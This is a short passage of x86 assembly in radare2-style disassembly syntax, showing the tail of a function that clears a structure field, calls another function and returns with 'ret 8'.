and dword [esi + 0x24], 0
push edi
push dword [esi + 0x44]
mov ecx, ebx
call fcn.100161b9
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret 8